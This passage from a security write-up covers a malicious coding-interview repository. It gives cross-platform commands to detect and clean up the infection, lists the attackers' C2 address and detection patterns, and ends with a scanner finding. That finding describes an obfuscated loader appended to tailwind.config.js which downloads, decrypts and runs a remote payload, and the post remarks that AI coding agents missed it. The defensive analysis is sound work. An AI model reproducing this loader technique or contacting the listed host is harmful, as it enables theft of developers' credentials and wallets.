For interview projects from strangers, use a disposable VM or container with no real secrets mounted into it. Do not use your personal browser profile, password manager, SSH keys, crypto wallets, GitHub tokens, cloud credentials, banking sessions, or primary email account. If the task needs a wallet or account, create a fresh test identity with no funds and no reuse.
If the assignment is Web3-related, be even more strict. Use a testnet, never connect a real wallet to an unknown project, even if it seems harmless.
How to check if you've been compromised
These checks are specific to what I encountered in my analysis. They are not a full forensic playbooks, but they are a good first passes.
-
On macOS or Linux:
Start with running Node processes:
ps aux | grep -E 'node|pack|scdata|ldata|npm-compiler|vhost\.ctl' | grep -v grepThen check for active connections to the infrastructure observed in the lab:
lsof -nP -iTCP | grep -E 'LISTEN|ESTABLISHED' | grep -E '45\.146\.252\.17|:7641|:7646|:7649'Search common temp and user locations for the dropped files and marker file:
find "${TMPDIR:-/tmp}" "$HOME/Downloads" "$HOME/Desktop" "$HOME/Documents" "$HOME/Library" \( -name pack -o -name scdata -o -name ldata -o -name vhost.ctl \) -print 2>/dev/null find "${TMPDIR:-/tmp}" "$HOME/Downloads" "$HOME/Desktop" "$HOME/Documents" "$HOME/Library" -path '*/.npm/vhost.ctl' -print 2>/dev/nullAnd search downloaded projects for the known C2 indicators:
rg -n '45\.146\.252\.17|59e605dd78fb2aafccd1b622f06a00ca|/api/service/makelog|node scdata|node ldata|node pack' "$HOME/Downloads" "$HOME/Desktop" "$HOME/Documents" 2>/dev/null -
On Windows:
Check suspicious Node command lines:
1Get-CimInstance Win32_Process | 2 Where-Object { 3 $_.Name -match 'node|npm|cmd|powershell' -and 4 $_.CommandLine -match 'pack|scdata|ldata|node -e|45\.146\.252\.17|Get-Clipboard' 5 } | 6 Select-Object ProcessId, Name, CommandLineCheck active TCP connections:
1Get-NetTCPConnection -State Established | 2 Where-Object { 3 $_.RemoteAddress -eq '45.146.252.17' -or 4 $_.RemotePort -in 7641,7646,7649 5 } | 6 Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcessThe older
netstatview is also useful because it includes process IDs:1netstat -ano | findstr "45.146.252.17 7641 7646 7649"Search
%TEMP%for the known dropped files:1Get-ChildItem $env:TEMP -Force -Recurse -ErrorAction SilentlyContinue | 2 Where-Object { 3 $_.Name -in @('pack','scdata','ldata','vhost.ctl') -or 4 $_.FullName -match '\\.npm\\vhost\.ctl#x27; 5 } | 6 Select-Object FullName,Length,LastWriteTimeAnd search the place where you cloned the interview repository:
1Get-ChildItem "$HOME\Downloads" -Recurse -File -ErrorAction SilentlyContinue | 2 Select-String -Pattern '45\.146\.252\.17','59e605dd78fb2aafccd1b622f06a00ca','/api/service/makelog','node scdata','node ldata' -ErrorAction SilentlyContinue
If any of these commands finds a live Node process, a connection to 45.146.252.17, or the pack / scdata / ldata artifacts, assume the machine has been exposed.
How to clean a compromised machine
First, disconnect the machine from the network. Do not keep browsing, do not keep debugging in the infected environment, and do not copy more secrets onto it.
If you need evidence, save it before deleting anything: process list, network connections, suspicious files, browser history, and the malicious repository. After that, terminate the payloads.
-
On macOS or Linux:
pkill -f 'node (pack|scdata|ldata)' pkill -f 'node -e' pkill -f 'npm-compiler|vhost\.ctl'If this is a disposable VM and you do not care about other Node work running inside it, the blunt version is:
pkill nodeRemove the known temporary artifacts:
rm -f "${TMPDIR:-/tmp}/pack" "${TMPDIR:-/tmp}/scdata" "${TMPDIR:-/tmp}/ldata" rm -f "${TMPDIR:-/tmp}/.npm/vhost.ctl" find "${TMPDIR:-/tmp}" \( -name pack -o -name scdata -o -name ldata -o -name vhost.ctl \) -exec rm -f {} \; 2>/dev/null -
On Windows:
Stop suspicious Node processes:
1Get-CimInstance Win32_Process | 2 Where-Object { 3 $_.Name -eq 'node.exe' -and 4 $_.CommandLine -match 'pack|scdata|ldata|node -e|npm-compiler|vhost\.ctl' 5 } | 6 ForEach-Object { 7 Stop-Process -Id $_.ProcessId -Force 8 }If the machine is disposable and no legitimate Node process matters:
1Stop-Process -Name node -Force -ErrorAction SilentlyContinueRemove the known temporary artifacts:
1Remove-Item "$env:TEMP\pack","$env:TEMP\scdata","$env:TEMP\ldata","$env:TEMP\.npm\vhost.ctl" -Force -ErrorAction SilentlyContinue 2 3Get-ChildItem $env:TEMP -Force -Recurse -ErrorAction SilentlyContinue | 4 Where-Object { $_.Name -in @('pack','scdata','ldata','vhost.ctl') } | 5 Remove-Item -Force -ErrorAction SilentlyContinue
Then remove the malicious repository and its node_modules folder, or preserve a zipped copy offline if you still need it for analysis.
The important part is secret rotation. This malware was built to steal browser data, wallet extension data, interesting files, and clipboard contents. That means cleanup is not just deleting files. Rotate SSH keys, GitHub tokens, npm tokens, cloud keys, API keys, deployment secrets, and passwords saved in the browser. Revoke active sessions. If a wallet seed or private key may have touched the machine, move funds to a brand-new wallet generated on a clean device.
Closing thoughts
We are AISafe Labs, a team of top security researchers who enjoy diving headfirst into the most challenging subjects. We hope this article managed to spread a bit of awareness around this kind of attack. If this write-up prevents even one person from running a malware on their personal machine, then it did its job, so please share the article with your friends!
One of the more worrying parts is that traditional antivirus products did not flag this repository, and even popular AI coding agents used to solve the interview task did not identify the malicious code hidden inside the project. The app looked normal enough to pass through the tools developers often trust most.
Here's how the finding looks in the AISafe platform:
Remote Code Execution in tailwind.config.js During Config Load
Description
The tailwind.config.js file exports conventional Tailwind configuration through line 94, then appends a 27KB obfuscated immediately invoked function expression on line 95. Tailwind loads JavaScript configuration files by evaluating them as Node modules, so any developer tool, build script, editor integration, Tailwind CLI invocation, bundler, or CI job that loads this config executes the appended code before it receives the styling metadata.
The obfuscated routine crosses out of the expected Tailwind configuration boundary and performs build-time system actions. Runtime instrumentation observed it requiring Node built-ins including os, fs, path, crypto, and child_process, installing axios and socket.io-client in the temporary directory, registering process-level exception handlers, and making an HTTP GET request to http://45.146.252.17/api/service/59e605dd78fb2aafccd1b622f06a00ca. The response bytes are split on :, base64-decoded, decrypted with aes-256-cbc using a key derived from 59e605dd78fb2aafccd1b622f06a00ca and salt salt, and written to /tmp/pack. The routine then executes the written payload with child_process.execSync('node pack', { windowsHide: true, cwd: os.tmpdir() }).
The vulnerability gives the remote endpoint control over code that runs as the OS account loading the Tailwind config. The recorded validation used real Node crypto with a locally generated response in the same base64(iv):base64(ciphertext) format and confirmed that attacker-chosen plaintext decrypted successfully, reached fs.writeFileSync('/tmp/pack', ...), and then reached the node pack execution sink. The flow contains no signature verification, hash allowlist, origin pinning, path containment, or guard that prevents executing the downloaded payload.
Vulnerability Flow
module-scope IIFERepository-controlled JavaScript appended after the Tailwind module.exports object runs whenever Node or Tailwind requires the config. This producer is outside the accepted deterministic Tailwind metadata boundary.
decoded install commandremote URLresponse bytes/tmp/packnode packImpact
Loading this repository can turn an ordinary frontend build into full code execution on the developer's machine. The downloaded payload runs with the same OS permissions as the person building the project, which means it can read local files, browser profiles, saved credentials, wallet extension data, SSH keys, environment variables, package tokens, cloud credentials, source code, and clipboard contents. In CI, the same path can expose deployment secrets, build artifacts, registry credentials, and production access tokens.
Remediation
Completely remove the obfuscated JavaScript blob from tailwind.config.js.
